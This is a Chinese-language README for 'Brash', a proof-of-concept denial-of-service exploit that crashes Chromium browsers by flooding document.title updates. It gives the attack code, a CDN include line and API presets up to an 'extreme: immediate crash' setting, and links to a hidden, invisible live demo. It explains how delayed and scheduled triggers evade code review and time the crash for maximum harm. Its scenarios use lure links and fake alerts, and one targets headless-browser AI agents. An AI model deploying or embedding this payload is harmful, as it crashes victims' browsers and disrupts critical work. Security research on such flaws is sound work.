
Brash 是 Blink(谷歌 Chromium 浏览器的渲染引擎)中的一个严重漏洞。它利用某些 DOM 操作管理方式的架构缺陷,使任何 Chromium 浏览器在 15-60 秒内崩溃。
攻击向量 源于 document.title API 更新完全没有速率限制。这允许每秒注入 数百万次 DOM 突变,在此注入尝试期间,它会占满主线程,扰乱事件循环并导致界面崩溃。影响显著:消耗高 CPU 资源,降低整体系统性能,并且可以 暂停或减慢 同时运行的其他进程。通过影响桌面、Android 和嵌入式环境中的 Chromium 浏览器,该漏洞使互联网上超过 30 亿人 面临系统级拒绝服务的风险。
状态: 可操作
受影响版本: Chromium ≤ 143.0.7483.0(测试版本:138.0.7204.251、141.0.7390.108、143.0.7483.0)
[!NOTE] 该漏洞目前可被利用。一旦漏洞被修补,此代码将不再生效。无论如何,发现这一架构缺陷并完成整个研究、文档和设计过程,与全世界分享一些有影响力的东西,是一段非常有价值的旅程。
在 macOS、Windows 和 Linux 上测试了 11 个主流浏览器,以验证漏洞的影响。
所有基于 Chromium 的浏览器都受影响,因为该漏洞存在于 Blink 渲染引擎的核心:
Brash 利用了 Blink 渲染引擎中的一个基本架构缺陷:document.title 更新缺乏节流机制。攻击分为三个关键阶段:
生成 100 个唯一的 512 字符十六进制字符串,并在攻击开始前将其存储在内存中。
为什么要预加载而不是实时生成?
因为不断生成新字符串会消耗 CPU 时间进行数学运算。这些时间非常关键——每花一毫秒生成字符串,就意味着少了一毫秒用来用 document.title 更新轰炸浏览器。
通过预加载 100 个字符串到内存中:
结果,我们实现了最大注入速度,同时每次更新消耗最大内存。
// 生成高熵唯一 ID
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
执行可配置的 title 更新脉冲。在默认配置下(burst: 8000,interval: 1ms),尝试每秒注入大约 2400 万次更新,浏览器正是在此尝试过程中开始崩溃。
// 三重更新模式:最大化渲染管线冲击
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // 每个脉冲执行 3 次连续更新
}
this.counter += 0x3;
}
持续更新使浏览器的主线程饱和,阻止处理其他事件:
崩溃时间线:
为什么有效?
Blink 在主线程上同步处理每次 document.title 更改,没有速率限制。这造成了一个瓶颈,会:
为了完全理解 Brash 的影响,您可以在不同环境中体验该漏洞,从受控的实时演示到您自己的实现。每个选项都为不同级别的交互和技术理解而设计。
查看 Brash 行动最快的方式。访问 https://brash.run
要查看没有图形界面的漏洞,请访问 **https://brash.run/hidden-live-demo.html**。此版本在后台不可见地执行注入,模拟真实攻击。
如果您更喜欢在自己的环境中运行演示,存储库中的 exploit-demo/ 目录允许您:
只需在任何 Chromium 浏览器中打开 exploit-demo/index.html,并在启动前配置 burst 和 interval 值。
要将 Brash 集成到您自己的安全测试或研究中,请包含脚本并配置攻击:
包含脚本:
<!-- 本地 -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API 用法:
// 1. 立即攻击
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. 延迟(秒,默认)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 秒
});
// 3. 延迟(字符串)
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // 或 "5000ms" 或 "3m"
});
// 4. 定时攻击
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
强度配置:
// 温和:受控观察
// 效果:浏览器响应缓慢,可观察逐步退化
Brash.run({
burstSize: 200,
interval: 1000 // 约 600 次更新/秒
});
// 激进:快速饱和
// 效果:标签页在 10-20 秒内冻结
Brash.run({
burstSize: 2000,
interval: 100 // 约 60,000 次更新/秒
});
// 极端:立即崩溃
// 效果:立即冻结,15-30 秒内完全崩溃
Brash.run({
burstSize: 8000,
interval: 1 // 尝试约 2400 万次更新/秒(浏览器在尝试过程中崩溃)
});
注意:每个脉冲执行 3 次连续的
document.title更新。例如,burstSize: 400 = 每次间隔实际 1,200 次更新。
Brash 可以在多个关键环境中被武器化,后果从经济损失到生命危险不等。
放大 Brash 危险性的一个关键特性是它可以被编程为在特定时刻执行。攻击者可以注入带有 时间触发器 的代码,保持休眠直到预定的确切时间。
技术实现:
// 延迟(秒,默认)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// 延迟(字符串:ms、s、m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// 定时:在精确时刻执行
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
参数:
burstSize:每个周期的更新次数interval:周期之间的毫秒数delay:数字(秒)或字符串("30s"、"5000ms"、"3m")scheduled:ISO 字符串或 Date 对象为什么 delay 参数特别致命:
无需知道受害者何时打开链接:只需在受害者打开页面后等待 X 秒。
建立信任的时间:在等待的几分钟内,受害者在看似合法的内容(表单、文档、视频)中交互。
逃避初始检查:如果某人快速审查代码,看起来是未激活的。攻击直到后来才执行。
完美的心理时机:等待受害者深入参与任务时(考试中途、会议中途、关键程序进行中)。
delay 的典型场景:
00:00 - 受害者打开链接“Q4 Documents.pdf”
00:30 - 受害者审查文档,看似合法
02:00 - 受害者在有 50 人的会议中共享屏幕
03:00 - 攻击执行 - 所有浏览器崩溃
为什么 scheduled 参数同样具有破坏性:
外科手术般的同步:攻击者选择最大影响的确切时刻(市场开盘、运营高峰时间)。
全球协调攻击:多个目标可以在同一秒内同时被击中。
逃避事先检测:恶意代码可以在执行前数天或数周就存在,通过安全审查。
无法阻止:到攻击执行时,已经来不及阻止。
战略时机示例:
这种 动态时机 能力将 Brash 从干扰工具转变为 时间精确武器,攻击者不仅控制“什么”和“哪里”,还以毫秒精度控制 “何时”。
场景:依赖 AI 代理进行网页爬取、市场分析、竞品监控或客户服务自动化的企业系统,使用无头浏览器(Chromium/Puppeteer)每天查询成千上万的网站。攻击者将 Brash 注入这些代理查询的流行网站。
在关键自动化操作过程中:
放大攻击向量:
真实影响:关键自动化操作瘫痪、未做决策导致的经济损失、AI 依赖服务的严重退化、基础设施恢复成本、对自动化代理关键依赖性的暴露。
场景:一位心血管外科医生正在进行冠状动脉搭桥手术,由一个基于 Web 的手术导航系统(在微创手术中越来越常见)辅助。该系统提供实时图像、患者生命体征指标和机器人器械的引导。
在手术最关键的阶段,浏览器出现通知:“警报:关键手术系统更新 - 立即应用,否则手术可能失败。”
在恐慌中点击后:
真实影响:患者直接死亡风险、永久性损伤可能、医疗团队心理创伤、因技术疏忽引发的百万美元诉讼。
场景:在华尔街市场开盘时,恶意行为者通过多个渠道同时注入 Brash:彭博终端 Web 界面、机构交易员聊天、专业论坛。链接承诺“泄露:美联储紧急会议纪要 - 降息确认。”
交易开始的前 30 秒(最大流动性):
真实影响:数万亿美元市值损失、全球金融恐慌、SEC 调查、市场信心危机。
场景:银行欺诈分析师通过 Web 仪表板实时处理可疑交易警报。在黑色星期五(交易高峰期),他们通过企业邮件收到 Brash:“检测到新欺诈模式 - 需要紧急分析。”
在交易量最高的时刻:
真实影响:数百万美元直接损失、数千客户遭遇欺诈扣款、巨大声誉损害、因预防系统失效的监管罚款。
这些场景并非理论。Brash 的简单性使其成为对任何依赖 Web 浏览器的操作的真实威胁,而在 2025 年,这几乎意味着一切。
Brash 的创建是为了展示当我们日常使用的 Web 技术中缺乏基本保护时会发生什么。漏洞不在于复杂的代码或高级技术,而在于一个本应设计成有节流的 API 根本上缺少速率限制。
Brash 对超过 30 亿 Chromium 浏览器用户的影响表明,Blink 等核心组件的架构缺陷会带来巨大的全球性后果。这不是一个孤立的 bug——这是一个影响整个 Chromium 生态系统的设计缺陷。
最危险的东西常常隐藏在最不被注意、最被忽视的地方。 - Jose Pino
本 PoC 仅用于教育和安全研究目的,以帮助使互联网更安全。其执行应仅在受控环境中进行,不得用于生产系统、公共网站或包含重要数据的设备上。
滥用此漏洞可能导致浏览器崩溃、数据丢失和系统不稳定。作者不对因使用或滥用本 PoC 而产生的任何损害、数据丢失或法律后果负责。使用 Brash 即表示您已理解这些风险,并同意仅在隔离环境中用于合法的安全研究。
用户应遵守所有适用的法律法规。在非您拥有或未经明确许可测试的系统上未经授权使用此漏洞是违法且不道德的。
本项目的本身内容根据 Creative Commons Attribution 3.0 license 许可,用于格式化和显示内容的底层源代码根据 MIT license 许可。
版权所有 (c) 2025,作者 Jose Pino